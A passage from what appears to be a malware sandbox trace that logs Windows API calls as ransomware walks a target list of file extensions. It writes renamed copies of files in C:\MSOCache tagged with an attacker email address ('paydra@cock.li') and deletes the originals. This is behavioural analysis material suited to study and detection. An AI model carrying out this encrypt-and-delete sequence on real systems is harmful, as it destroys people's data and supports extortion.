lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.214] lstrlenW (lpString=".bz2") returned 4 [0035.214] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.214] lstrlenW (lpString=".7z") returned 3 [0035.214] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.214] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.215] lstrlenW (lpString=".dbf") returned 4 [0035.215] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.215] lstrlenW (lpString=".1cd") returned 4 [0035.215] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.215] lstrlenW (lpString=".jpg") returned 4 [0035.215] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.215] lstrlenW (lpString=".doc") returned 4 [0035.215] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString=".docx") returned 5 [0035.215] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.215] lstrlenW (lpString=".pdf") returned 4 [0035.215] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString=".xls") returned 4 [0035.215] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString=".xlsx") returned 5 [0035.215] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.215] lstrlenW (lpString=".ppt") returned 4 [0035.215] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.215] lstrlenW (lpString=".zip") returned 4 [0035.215] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.215] lstrlenW (lpString=".rar") returned 4 [0035.215] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString=".bz2") returned 4 [0035.215] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.215] lstrlenW (lpString=".7z") returned 3 [0035.215] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.215] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.215] lstrlenW (lpString=".dbf") returned 4 [0035.216] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.216] lstrlenW (lpString=".1cd") returned 4 [0035.216] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.216] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0035.216] lstrlenW (lpString=".jpg") returned 4 [0035.216] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.216] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.216] lstrlenW (lpString="Office32WW.xml") returned 14 [0035.216] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.235] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=4274) returned 1 [0035.235] CloseHandle (hObject=0x19c) returned 1 [0035.236] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0035.236] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.236] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.236] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.236] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.236] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0035.236] GetLastError () returned 0x0 [0035.236] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x10b2, lpOverlapped=0x0) returned 1 [0035.238] WriteFile (in: hFile=0x1a4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0035.239] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0035.239] WriteFile (in: hFile=0x1a4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0035.239] SetEndOfFile (hFile=0x1a4) returned 1 [0035.239] CloseHandle (hObject=0x1a4) returned 1 [0035.240] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.240] SetEndOfFile (hFile=0x19c) returned 1 [0035.241] CloseHandle (hObject=0x19c) returned 1 [0035.241] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.241] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0035.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.241] lstrlenW (lpString=".doc") returned 4 [0035.241] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.241] lstrlenW (lpString=".docx") returned 5 [0035.241] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.241] lstrlenW (lpString=".pdf") returned 4 [0035.241] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.241] lstrlenW (lpString=".xls") returned 4 [0035.241] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.242] lstrlenW (lpString=".xlsx") returned 5 [0035.242] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.242] lstrlenW (lpString=".ppt") returned 4 [0035.242] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.242] lstrlenW (lpString=".zip") returned 4 [0035.242] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.242] lstrlenW (lpString=".rar") returned 4 [0035.242] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.242] lstrlenW (lpString=".bz2") returned 4 [0035.242] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.242] lstrlenW (lpString=".7z") returned 3 [0035.242] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.242] lstrlenW (lpString=".dbf") returned 4 [0035.242] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.242] lstrlenW (lpString=".1cd") returned 4 [0035.242] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.242] lstrlenW (lpString=".jpg") returned 4 [0035.242] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.242] lstrlenW (lpString=".doc") returned 4 [0035.242] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.242] lstrlenW (lpString=".docx") returned 5 [0035.242] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.242] lstrlenW (lpString=".pdf") returned 4 [0035.242] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.242] lstrlenW (lpString=".xls") returned 4 [0035.242] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.242] lstrlenW (lpString=".xlsx") returned 5 [0035.242] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.242] lstrlenW (lpString=".ppt") returned 4 [0035.243] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.243] lstrlenW (lpString=".zip") returned 4 [0035.243] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.243] lstrlenW (lpString=".rar") returned 4 [0035.243] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.243] lstrlenW (lpString=".bz2") returned 4 [0035.243] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.243] lstrlenW (lpString=".7z") returned 3 [0035.243] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.243] lstrlenW (lpString=".dbf") returned 4 [0035.243] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.243] lstrlenW (lpString=".1cd") returned 4 [0035.243] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.243] lstrlenW (lpString=".jpg") returned 4 [0035.243] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.243] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.243] lstrlenW (lpString="Office32WW.xml") returned 14 [0035.243] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.244] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=4274) returned 1 [0035.244] CloseHandle (hObject=0x19c) returned 1 [0035.244] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0035.244] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.244] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.244] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.244] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.245] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0035.245] GetLastError () returned 0x0 [0035.245] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x10b2, lpOverlapped=0x0) returned 1 [0035.246] WriteFile (in: hFile=0x1a4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0035.247] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0035.247] WriteFile (in: hFile=0x1a4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0035.247] SetEndOfFile (hFile=0x1a4) returned 1 [0035.247] CloseHandle (hObject=0x1a4) returned 1 [0035.248] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.248] SetEndOfFile (hFile=0x19c) returned 1 [0035.249] CloseHandle (hObject=0x19c) returned 1 [0035.249] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.249] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0035.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.249] lstrlenW (lpString=".doc") returned 4 [0035.249] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.249] lstrlenW (lpString=".docx") returned 5 [0035.249] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.249] lstrlenW (lpString=".pdf") returned 4 [0035.249] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.249] lstrlenW (lpString=".xls") returned 4 [0035.250] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.250] lstrlenW (lpString=".xlsx") returned 5 [0035.250] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.250] lstrlenW (lpString=".ppt") returned 4 [0035.250] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.250] lstrlenW (lpString=".zip") returned 4 [0035.250] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.250] lstrlenW (lpString=".rar") returned 4 [0035.250] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.250] lstrlenW (lpString=".bz2") returned 4 [0035.250] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.250] lstrlenW (lpString=".7z") returned 3 [0035.250] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.250] lstrlenW (lpString=".dbf") returned 4 [0035.250] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.250] lstrlenW (lpString=".1cd") returned 4 [0035.250] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.250] lstrlenW (lpString=".jpg") returned 4 [0035.250] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.250] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.250] lstrlenW (lpString=".doc") returned 4 [0035.250] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.250] lstrlenW (lpString=".docx") returned 5 [0035.250] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.250] lstrlenW (lpString=".pdf") returned 4 [0035.250] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.250] lstrlenW (lpString=".xls") returned 4 [0035.250] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.250] lstrlenW (lpString=".xlsx") returned 5 [0035.250] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.251] lstrlenW (lpString=".ppt") returned 4 [0035.251] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.251] lstrlenW (lpString=".zip") returned 4 [0035.251] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.251] lstrlenW (lpString=".rar") returned 4 [0035.251] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.251] lstrlenW (lpString=".bz2") returned 4 [0035.251] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.251] lstrlenW (lpString=".7z") returned 3 [0035.251] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.251] lstrlenW (lpString=".dbf") returned 4 [0035.251] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.251] lstrlenW (lpString=".1cd") returned 4 [0035.251] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.251] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0035.251] lstrlenW (lpString=".jpg") returned 4 [0035.251] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.251] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.251] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0035.251] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.252] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=6421) returned 1 [0035.252] CloseHandle (hObject=0x19c) returned 1 [0035.252] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0035.252] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.252] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0035.252] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.252] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.253] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0035.253] GetLastError () returned 0x0 [0035.253] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x1915, lpOverlapped=0x0) returned 1 [0035.771] WriteFile (in: hFile=0x1a4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1920, lpOverlapped=0x0) returned 1 [0035.772] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0035.772] WriteFile (in: hFile=0x1a4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0035.772] SetEndOfFile (hFile=0x1a4) returned 1 [0035.773] CloseHandle (hObject=0x1a4) returned 1 [0035.773] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0035.773] SetEndOfFile (hFile=0x19c) returned 1 [0035.782] CloseHandle (hObject=0x19c) returned 1 [0035.782] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.782] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0035.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0035.783] lstrlenW (lpString=".doc") returned 4 [0035.783] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.783] lstrlenW (lpString=".docx") returned 5 [0035.783] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.783] lstrlenW (lpString=".pdf") returned 4 [0035.783] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.783] lstrlenW (lpString=".xls") returned 4 [0035.783] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.783] lstrlenW (lpString=".xlsx") returned 5 [0035.783] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.783] lstrlenW (lpString=".ppt") returned 